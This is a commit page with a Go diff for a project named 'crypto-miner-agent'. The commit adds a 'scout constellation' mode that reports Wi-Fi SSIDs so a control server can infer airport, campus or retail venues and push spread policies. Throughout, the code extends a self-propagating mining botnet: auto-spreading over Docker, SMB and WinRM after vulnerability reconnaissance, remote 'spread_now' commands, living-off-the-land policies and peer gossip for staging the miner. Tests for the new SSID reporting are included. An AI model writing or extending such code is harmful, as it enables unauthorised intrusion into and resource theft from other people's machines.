Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
@@ -101,7 +101,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
return true
|
||||
|
||||
case "spread_now":
|
||||
msg := deploy.RunSpreadOnce(c.cfg)
|
||||
msg := deploy.RunSpreadOnce(c.cfgForSpread())
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
|
||||
@@ -115,7 +115,7 @@ func handleAISpreadNow(c *AgentClient, _ int, _, _, _ string) {
|
||||
c.sendCommandResult("spread_now", false, reason)
|
||||
return
|
||||
}
|
||||
msg := deploy.RunSpreadOnce(c.cfg)
|
||||
msg := deploy.RunSpreadOnce(c.cfgForSpread())
|
||||
c.sendCommandResult("spread_now", true, msg)
|
||||
}
|
||||
|
||||
|
||||
@@ -72,6 +72,8 @@ type AgentClient struct {
|
||||
gossipSent map[string]struct{}
|
||||
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
|
||||
inheritedPhenotype *InheritedPhenotype
|
||||
// pendingGraft is a court-approved strain splice applied on the next spread.
|
||||
pendingGraft *GraftPolicy
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
triplePolicy miner.TripleOnionPolicy
|
||||
triplePolicyLoaded bool
|
||||
@@ -83,6 +85,10 @@ type AgentClient struct {
|
||||
fleetRoleHintVal string
|
||||
// lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer).
|
||||
lanSeeders []deploy.LANSeederHint
|
||||
// fleetTorrentEnabled enables shard DHT gossip + peer fetch (server policy).
|
||||
fleetTorrentEnabled bool
|
||||
// subnetPrimarySeeder is true when auth designates this agent as subnet primary seeder.
|
||||
subnetPrimarySeeder bool
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
@@ -417,6 +423,10 @@ func (c *AgentClient) authenticate() error {
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.applyAuthFleetRole(resp)
|
||||
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
||||
if resp.FleetTorrentEnabled {
|
||||
c.advertiseFleetTorrentHealthy()
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
if resp.ClearanceLevel > 0 {
|
||||
c.mu.Lock()
|
||||
@@ -457,7 +467,7 @@ func (c *AgentClient) authenticate() error {
|
||||
if cfg.AutoSpread {
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if deploy.WantsFirstRunSpread(cfg) {
|
||||
deploy.RunSpreadOnce(cfg)
|
||||
deploy.RunSpreadOnce(c.cfgForSpread())
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
}
|
||||
@@ -533,6 +543,8 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
}
|
||||
case "policy_update":
|
||||
go c.applyPolicyUpdate(msg.Payload)
|
||||
case "graft_policy":
|
||||
c.applyGraftPolicyJSON(msg.Payload)
|
||||
case "adaptive_strategy_update":
|
||||
c.applyAdaptiveStrategyJSON(msg.Payload)
|
||||
case "ai_snapshot_request":
|
||||
@@ -551,6 +563,8 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
}
|
||||
case "atlas_gossip":
|
||||
c.handleAtlasGossip(msg.Payload)
|
||||
case "fleet_torrent_gossip":
|
||||
c.handleFleetTorrentGossip(msg.Payload)
|
||||
case "command":
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
|
||||
@@ -68,6 +68,7 @@ func (c *AgentClient) applyAuthFleetRole(resp AuthResponse) {
|
||||
if len(resp.LANSeeders) > 0 {
|
||||
c.setLANSeeders(resp.LANSeeders)
|
||||
}
|
||||
c.applyAuthFleetTorrent(resp)
|
||||
}
|
||||
|
||||
func (c *AgentClient) fleetPressureFields(hashrate float64, joinLane string) (role string, seedPressure, hashratePressure float64) {
|
||||
|
||||
@@ -49,11 +49,17 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
|
||||
return
|
||||
}
|
||||
if len(resp.EpidemiologyFix) > 0 {
|
||||
c.applyEpidemiologyFixJSON(resp.EpidemiologyFix)
|
||||
}
|
||||
if len(resp.SpreadTemperament) > 0 {
|
||||
c.mu.Lock()
|
||||
applySpreadTemperament(&c.cfg, resp.SpreadTemperament)
|
||||
c.mu.Unlock()
|
||||
}
|
||||
if graftPolicyPresent(resp.GraftPolicy) {
|
||||
c.applyGraftPolicyJSON(resp.GraftPolicy)
|
||||
}
|
||||
if len(resp.MiningTierPolicy) > 0 {
|
||||
return
|
||||
}
|
||||
@@ -87,9 +93,11 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
||||
return
|
||||
}
|
||||
var policy struct {
|
||||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||
return
|
||||
@@ -102,5 +110,9 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
||||
c.cfg.HashrateGateHPS = policy.HashrateGateHPS
|
||||
}
|
||||
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||
c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
||||
if len(policy.SpreadTemperament) > 0 {
|
||||
applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
|
||||
}
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
@@ -27,6 +27,7 @@ type FleetPolicyUpdate struct {
|
||||
PoolTLS *bool `json:"pool_tls,omitempty"`
|
||||
PoolPass string `json:"pool_pass,omitempty"`
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
|
||||
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
|
||||
}
|
||||
|
||||
// ModuleManifest matches server-signed feature packs.
|
||||
@@ -107,6 +108,34 @@ func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
|
||||
cfg.PoolPass = strings.TrimSpace(p.PoolPass)
|
||||
}
|
||||
applySpreadTemperament(cfg, p.SpreadTemperament)
|
||||
if len(p.SpreadPolicy) > 0 {
|
||||
applySpreadPolicyFields(cfg, p.SpreadPolicy)
|
||||
}
|
||||
}
|
||||
|
||||
func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var policy struct {
|
||||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||
return
|
||||
}
|
||||
if policy.HashrateGateSpreadMin > 0 {
|
||||
cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
|
||||
}
|
||||
if policy.HashrateGateHPS > 0 {
|
||||
cfg.HashrateGateHPS = policy.HashrateGateHPS
|
||||
}
|
||||
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
||||
applySpreadTemperament(cfg, policy.SpreadTemperament)
|
||||
}
|
||||
|
||||
func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
||||
|
||||
@@ -70,11 +70,14 @@ type AuthResponse struct {
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"`
|
||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled,omitempty"`
|
||||
SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"`
|
||||
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
FleetRoleHint string `json:"fleet_role_hint,omitempty"`
|
||||
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
|
||||
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
|
||||
GraftPolicy json.RawMessage `json:"graft_policy,omitempty"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
|
||||
71
agent/client/scout_constellation_test.go
Normal file
71
agent/client/scout_constellation_test.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func TestScoutReportPayloadIncludesSSID(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_WIFI_SSID", "Campus-Guest")
|
||||
if got := deploy.ScoutWiFiSSID(); got != "Campus-Guest" {
|
||||
t.Fatalf("ssid=%q", got)
|
||||
}
|
||||
|
||||
result := deploy.ServiceDiscoverResult{
|
||||
ProbedAt: "2026-06-07T12:00:00Z",
|
||||
Local: deploy.ServiceGraphHost{Host: "127.0.0.1"},
|
||||
}
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
|
||||
|
||||
report := map[string]interface{}{
|
||||
"join_lane": "docker",
|
||||
"service_count": 4,
|
||||
"service_graph": result,
|
||||
"scout_mode": true,
|
||||
}
|
||||
if ssid := deploy.ScoutWiFiSSID(); ssid != "" {
|
||||
report["ssid"] = ssid
|
||||
}
|
||||
raw, err := json.Marshal(report)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var decoded map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded["ssid"] != "Campus-Guest" {
|
||||
t.Fatalf("ssid=%v", decoded["ssid"])
|
||||
}
|
||||
_ = c
|
||||
}
|
||||
|
||||
func TestApplySpreadPolicyScoutConstellationTemperament(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
ScoutMode: true, LotlPolicyFromServer: true,
|
||||
LotlOnionTiers: []string{"discover_and_join", "service_graph"},
|
||||
}}}
|
||||
raw, _ := json.Marshal(map[string]interface{}{
|
||||
"scout_constellation": true,
|
||||
"persona_pack": "aggressive",
|
||||
"venue_class": "retail",
|
||||
"spread_temperament": map[string]interface{}{
|
||||
"tier_order": []string{"vuln_recon", "docker", "smb", "winrm"},
|
||||
},
|
||||
})
|
||||
c.applySpreadPolicyJSON(raw)
|
||||
if len(c.cfg.LotlOnionTiers) == 0 || c.cfg.LotlOnionTiers[1] != "docker" {
|
||||
t.Fatalf("tiers=%v", c.cfg.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutWiFiSSIDEmptyWithoutEnv(t *testing.T) {
|
||||
_ = os.Unsetenv("AETHERFORGE_WIFI_SSID")
|
||||
if got := deploy.ScoutWiFiSSID(); got != "" {
|
||||
t.Fatalf("expected empty ssid, got %q", got)
|
||||
}
|
||||
}
|
||||
@@ -59,12 +59,16 @@ func (c *AgentClient) runScoutCycle() {
|
||||
}
|
||||
|
||||
func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) {
|
||||
payload, err := json.Marshal(map[string]interface{}{
|
||||
report := map[string]interface{}{
|
||||
"join_lane": joinLane,
|
||||
"service_count": serviceCount,
|
||||
"service_graph": result,
|
||||
"scout_mode": true,
|
||||
})
|
||||
}
|
||||
if ssid := deploy.ScoutWiFiSSID(); ssid != "" {
|
||||
report["ssid"] = ssid
|
||||
}
|
||||
payload, err := json.Marshal(report)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user